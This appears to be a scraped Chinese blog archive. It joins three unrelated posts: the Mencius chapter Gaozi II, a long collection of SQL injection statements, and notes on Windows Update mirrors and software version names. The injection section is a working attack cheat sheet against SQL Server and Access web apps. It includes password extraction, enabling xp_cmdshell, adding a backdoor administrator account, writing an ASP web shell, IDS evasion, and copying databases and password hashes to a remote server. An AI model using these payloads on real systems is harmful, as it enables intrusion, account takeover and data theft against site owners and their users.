孟子 – 告子下

(迁移自:MSN Spaces-个人日记 – 2005-4-26 23:38)

告子下

任人有问屋庐子曰:“礼与食孰重?”曰:“礼重。”“色与礼孰重?”曰:“礼重。”曰:“以礼食,则饥而死。不以礼食,则得食。必以礼乎?亲迎,则不得妻。不亲迎,则得妻。必亲迎乎?”屋庐子不能对,明日之邹以告孟子。孟子曰:“于答是也何有!不揣其本而齐其末,方寸之木,可使高于岑楼。金重于羽者,岂谓一钩金与一舆羽之谓哉!取食之重者,与礼之轻者而比之,奚翅食重!取色之重者,与礼之轻者而比之,奚翅色重!往应之曰:轸兄之臂而夺之食,则得食,不轸则不得食,则将轸乎?逾东家墙而搂其处子,则得妻,不搂则不得妻,则将搂之乎?”

曹交问曰:“人皆可以为尧舜,有诸?”孟子曰:“然。”“交闻文王十尺,汤九尺,今交九尺四寸以长,食粟而已,如何则可?”曰:“奚有于是,亦为之而已矣。有人于此,力不能胜一匹雏,则为无力人矣。今曰举百钧,则为有力人矣。然则举乌获之任,是亦为乌获而已矣。夫人岂以不胜为患哉?弗为耳。徐行后长者谓之弟,疾行先长者谓之不弟。夫徐行者,岂人所不能哉?所不为也。尧舜之道,孝悌而已矣。子服尧之服,诵尧之言,行尧之行,是尧而已矣。子服桀之服,诵桀之言,行桀之行,是桀而已矣。”曰:“交得见邹君,可以假馆,愿留而受业于门。”曰:“夫道若大路然,岂难知哉?人病不求耳。子归而求之,有余师。”

公孙丑问曰:“高子曰:小弁,小人之诗也。”孟子曰:“何以言之?”曰:“怨。”曰:“固哉高叟之为诗也。有人于此,越人关弓而射之,则己谈笑而道之,无他,疏之也。其兄关弓而射之,则己垂涕泣而道之,无他,戚之也。小弁之怨,亲亲也。亲亲,仁也。固矣夫,高叟之为诗也。”曰:“凯风何以不怨?”曰:“凯风,亲之过小者也。小弁,亲之过大者也。亲之过大而不怨,是愈疏也。亲之过小而怨,是不可矶也。愈疏,不孝也,不可矶,亦不孝也。孔子曰:舜其至孝矣,五十而慕。”

宋迳将之楚,孟子遇于石丘,曰:“先生将何之?”曰:“吾闻秦楚构兵,我将见楚王说而罢之。楚王不悦,我将见秦王说而罢之。二王我将有所遇焉。”曰:“轲也请无闻其详,愿闻其指。说之将何如?”曰:“我将言其不利也。”曰:“先生之志则大矣,先生之号则不可。先生以利说秦楚之王,秦楚之王悦于利,以罢三军之师,是三军之士,乐罢而悦于利也。为人臣者,怀利以事其君,为人子者,怀利以事其父,为人弟者,怀利以事其兄,是君臣父子兄弟,终去仁义,怀利以相接。然而不亡者,未之有也。先生以仁义说秦楚之王,秦楚之王悦于仁义,而能罢三军之师,是三军之士,乐罢而悦于仁义也。为人臣者怀仁义以事其君,为人子者怀仁义以事其父,为人弟者怀仁义以事其兄,是君臣父子兄弟,去利怀仁义也。然而不王者,未之有也。何必曰利。”

孟子居邹,季任为任处守,以币交,受之而不报。处于平陆,储子为相,以币交,受之而不报。他日由邹之任见季子,由平陆之齐不见储子。屋庐子喜曰:“连得间矣。”问曰:“夫子之任见季子,之齐不见储子,为其为相与?”曰:“非也。书曰:享多仪,仪不及物。曰不享,惟不役志于享。为其不成享也。”屋庐子悦,或问之,屋庐子曰:“季子不得之邹,储子得之平陆。”

淳于髡曰:“先名实者为人也,后名实者自为也。夫子在三卿之中,名实未加于上下而去之,仁者固如此乎?”孟子曰:“居下位,不以贤事不肖者,伯夷也。五就汤,五就桀者,伊尹也。不恶污君,不辞小官,柳下惠也。三子者不同道也,其趋一也。一者何也?曰仁也。君子亦仁而已矣,何必同?”曰:“鲁穆公之时,公仪子为政,子柳子思为臣,鲁之削也滋甚。若是乎贤者之无益于国也?”曰:“虞不用百里奚而亡,秦穆公用之而霸。不用贤则亡,削何可得与?”曰:“昔者王豹处于淇,而河西善讴。绵驹处于高唐,而齐右善歌。华周杞梁之妻善哭其夫,而变国俗。有诸内必形诸外,为其事而无其功者,髡未尝睹之也。是故无贤者也,有则髡必识之。”曰:“孔子为鲁司寇,不用,从而祭,燔肉,不至,不税冕而行。不知者以为为肉也,其知者以为为无礼也。乃孔子则欲以微罪行,不欲为苟去,君子之所为,众人固不识也。”

孟子曰:“五霸者,三王之罪人也。今之诸侯,五霸之罪人也。今之大夫,今之诸侯之罪人也。天子适诸侯曰巡狩,诸侯朝于天子曰述职。春省耕而补不足,秋省敛而助不给。入其疆,辟土地,田野治,养老尊贤,俊杰在位,则有庆,庆以地。入其疆,土地荒芜,遗老失贤,掊克在位,则有让。一不朝则贬其爵,二不朝则削其地,三不朝则六师移之。是故天子讨而不伐,诸侯伐而不讨。五霸者,,搂诸侯以伐诸侯者也。故曰五霸者,三王之罪人也。五霸桓公为盛,葵丘之会诸侯,束牲载书而不歃血。初命曰:诛不孝,无易树子,无以妾为妻。再命曰:尊贤育才,以彰有德。三命曰:敬老慈幼,无忘宾旅。四命曰:士无世官,官事无摄,取士必得,无专杀大夫。五命曰:无由防,无遏籴,无有封而不告。曰:凡我同盟之人,既盟之后,言归于好。今之诸侯,皆犯此五禁,故曰今之诸侯,五霸之罪人也。长君之恶其罪小,逢君之恶其罪大。今之大夫,皆逢君之恶,故曰今之大夫,今之诸侯之罪人也。”

鲁欲使慎子为将军,孟子曰:“不教民而用之,谓之殃民。殃民者,不容于尧舜之世。一战胜齐,遂有南阳,然且不可。”慎子勃然不悦曰:“此则滑厘所不识也。”曰:“吾明告子,天子之地方千里,不千里,不足以待诸侯。诸侯之地方百里,不百里,不足以守宗庙这典籍。周公之封于鲁,为方百里也,地非不足,而俭于百里。大公之封于齐也,亦为方百里也。地非不足也,而俭于百里。今鲁方百里者五,子以为有王者作,则鲁在所损乎,在所益乎?徒取诸彼以与此,然且仁者不为,况于杀人以求之乎?君子之事君也,务引其君以当道,志于仁而已。”

孟子曰:“今之事君者曰:我能为君辟土地,充府库。今之所谓良臣,古之所谓民贼也。君不向道,不志于仁,而求富之,是富桀也。我能为君约与国,战必克之。今之所谓良臣,古之所谓民贼也。君不向道,不志于仁,而求为之强战,是辅桀也。由今之道,无变今之俗,虽与之天下,不能一朝居也。”

白圭曰:“吾欲二十而取一,何如?”孟子曰:“子之道,貉道也。万室之国,一人陶,则可乎?”曰:“不可,器不足用也。”曰:“夫貉,五谷不生,惟黍生之。无城郭宫室宗庙祭祀之礼,无诸侯币帛飨飧,无百官有司,故二十取一而足也。今居中国,去人伦,无君子,如之何其可也?陶以寡,且不可以为国,况无君子乎?欲轻之于尧舜之道者,大貉小貉也。欲重之于尧舜之道者,大桀小桀也。”

白圭曰:“丹朱之治水也愈于禹。”孟子曰:“子过矣。禹之治水,水之道也。是故禹以四海为

沟壑。今吾子以邻国为壑。水逆行,谓之洚水。洚水者,洪水也。仁人之所恶也。吾子过矣。”

孟子曰:“君子不亮,恶乎执?”

鲁欲使乐正子为政。孟子曰:“吾闻之,喜而不寐。”公孙丑曰:“乐正子强乎?”曰:“否。”“有知虑乎?”曰: “否。”“多闻识乎?”曰:“否。”“然则奚为喜而不寐?”曰:“其为人也好善。”“好善足乎?”曰:“好善优于天下,而况鲁国乎?夫苟不好善,则人将曰 迤迤。予既已知之矣,迤迤之声音颜色,距人于千里之外。士止于千里之外,则谗谄面谀之人至矣。与谗谄面谀之人居,国欲治,可得乎?”

陈子曰:“古之君子何如则仕?”孟子曰:“所就三,所去三。迎之致敬以有礼,言将行其言也,则就之。礼貌未衰,言 弗行也,则去之。其次,虽未行其言也,迎之致敬以有礼,则就之。礼貌衰,则去之。其下,朝不食,夕不食,饥饿不能出门户,君闻之曰:吾大者不能行其道,又 不能从其言也,使饥饿于我土地,吾耻之。周之,亦可受也。免死而已矣。”

孟子曰:“舜发于畎亩之中,傅说举于版筑之间,胶鬲举于鱼盐之中,管夷吾举于士,孙叔敖举于海,百里奚举于市。故 天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍行,增益其所不能。人恒过,然后能改。困于心,衡于虑,而后 作。征于色,发于声,而后喻。入则无法家拂士,出则无敌国外患者,国恒亡。然后知生于忧患而死于安乐也。”

孟子曰:“教亦多术矣。予不屑之教诲也者,是亦教诲之而已矣。”

收集一些注入语句

标准注入语句
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )–

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–

看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–

看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:/inetpub/wwwroot/xplog70.dll–

反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w “默认Web站点” -v “e”,”e:/”–

访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=/ 或者把/和/ 修改%5提交
and 0<>(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/

1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:/;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:/web/index.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;– (xp_blank>_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));–
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:/–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:/web–
and 0<>(select top 1 paths from dirs1)–

把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:/web/down.bak;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:/boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:/inetpub/wwwroot/foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–

xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:/
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:/
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息

Windows Update 自动更新服务同步的镜像站点

 

Windows Update自动更新(SUS/软件更新服务)均是与微软的Windows Update自动更新服务同步的镜像站点.

这些Windows Update自动更新均是与微软Windows Update自动更新服务同步的镜像站点,在国内升级的话连接这些站点速度会比微软官方网站快得多。升级方法与效果与连接微软升级服务器完全相同.

如果你的XP,Win2003不能在线升级,可以到网上去查查,搜索一下,听说有了解决不能升级的办法,只需要简单修改一下注册表就行了. 但我还没有找到 ^_^

一下是国内的一些WindowsUpdate服务器
(不一定都能使用,有一些服务器做了限制,只有本地用户才可以)

上海外国语大学WindowsUpdate服务器
http://windowsupdate.shisu.edu.cn/

中原工学院WindowsUpdateService-自动更新服务SUS
http://windowsupdate.zzti.edu.cn

华中科技大学自动更新(Windows Update)服务
http://windowsupdate.hust.edu.cn/

哈尔滨工业大学WindowsUpdate自动更新服务
http://windowsupdate.hit.edu.cn/

西安交通大学软件学院WindowsUpdate服务器
http://202.117.21.253/

厦门大学网络中心WindowsUpdate自动更新服务
http://windowsupdate.xmu.edu.cn

上海交通大学WindowsUpdate自动更新服务
http://windowsupdate.sjtu.edu.cn

上海大学计算中心WindowsUpdate自动更新服务
http://windowsupdate.ccshu.net/windows/

网协本地WindowsUpdate自动更新服务
http://www.nxis.org.cn/

天津外国语学院信息网络中心WindowsUpdate自动更新服务
http://windowsupdate.tjfsu.edu.cn/

河北工业大学软件学院WindowsUpdate自动更新服务
http://windowsupdate.scse.hebut.edu.cn/

华南农业大学WindowsUpdate自动更新服务
http://sus.scau.edu.cn/

四川大学WindowsUpdate服务器
http://windowsupdate.scu.edu.cn/

软件版本号说明

软件版本号说明

 

alphal 内部测试版

beta 外部测试版

demo 演示版

Enhance 增强版或者加强版 属于正式版

Free 自由版

Full version 完全版 属于正式版

shareware 共享版

Release 发行版 有时间限制

Upgrade 升级版

Retail 零售版

Cardware 属共享软件的一种,只要给作者回复一封电邮或明信片即可。
(有的作者并由此提供注册码  等),目前这种形式已不多见。

Plus 属增强版,不过这种大部分是在程序界面及多媒体功能上增强。

Preview 预览版

Corporation & Enterprise 企业版

Standard 标准版

Mini 迷你版也叫精简版只有最基本的功能

Premium — 贵价版

Professional — 专业版

Express — 特别版

Deluxe — 豪华版

Regged — 已注册版

CN — 简体中文版

CHT — 繁体中文版

EN — 英文版

Multilanguage — 多语言版
Rip 是指从原版文件(一般是指光盘或光盘镜像文件)直接将有用的内容(核心内容)分离出来,剔除无用的文档,例如PDF说明文件啊,视频演示啊之类的东西,也 可以算做是精简版吧…但主要内容功能是一点也不能缺少的!另:DVDrip是指将视频和音频直接从DVD光盘里以文件方式分离出来。

trail 试用版(含有某些限制,如时间、功能,注册后也有可能变为正式版)

RC 版。是 Release Candidate 的缩写,意思是发布倒计时,该版本已经完成全部功能并清除大部分的BUG。到了这个阶段只会除BUG,不会对软件做任何大的更改。

RTM 版。这基本就是最终的版本,英文是 Release To Manufactur,意思是发布到生产商。

Original Equipment Manufacturer (OEM)

You may license products through an Original Equipment Manufacturer (OEM).
These products, such as Windows operating systems, come installed when you purchase a new computer.

OEM软件是给电脑生产厂的版本,无需多说。

Full Packaged Product (FPP)–Retail

Physical, shrink-wrapped boxes of licensed product that can be purchased in a local retail store or any local software retailer.

FPP就是零售版(盒装软件),这种产品的光盘的卷标都带有”FPP”字样,比如英文WXP Pro的FPP版本的光盘卷标就是WXPFPP_EN,其中WX表示是Windows XP,P是Professional(H是Home),FPP表明是零售版本,EN是表明是英语。获得途径除了在商店购买之外,某些MSDN用户也可以得 到。

Volume Licensing for Organizations (VLO)

You may enjoy potentially significant savings by acquiring multiple product licenses. Depending on the size and type of your organization.

团体批量许可证(大量采购授权合约),这是为团体购买而制定的一种优惠方式。这种产品的光盘的卷标都带有”VOL”字样,取”Volume”前 3个字母,以表明是批量,比如英文WXP Pro的VOL版本的光盘卷标就是WXPVOL_EN,其中WX表示是Windows XP,P是Professional(VOL没有Home版本),VOL表明是团体批量许可证版本,EN是表明是英语。获得途径主要是集团购买,某些 MSDN用户也可以得到。
这种版本根据购买数量等又细分为“开放式许可证”、“选择式许可证”、“企业协议”、“学术教育许可证”等以下5种版本

Open License
Select License
Enterprise Agreement
Enterprise Subscription Agreement
Academic Volume Licensing

由此可见,平时说的什么select/corp是许可证授权方式,他的出现是为了用若干种不同级别的优惠政策卖同一种软件,通过select /corp许可证授权方式得到的xxx的光盘都是VOL这一种、是并不是有很多种,只不过是相同的VOL光盘配以不同的许可证方式;而Volume Licensing (Product) Keys,即VLK,它所指的只是一个Key(密匙),仅仅是一个为证明产品合法化、以及安装所使用的Key,因为根据VOL计划规定,VOL产品是不需 要激活的!

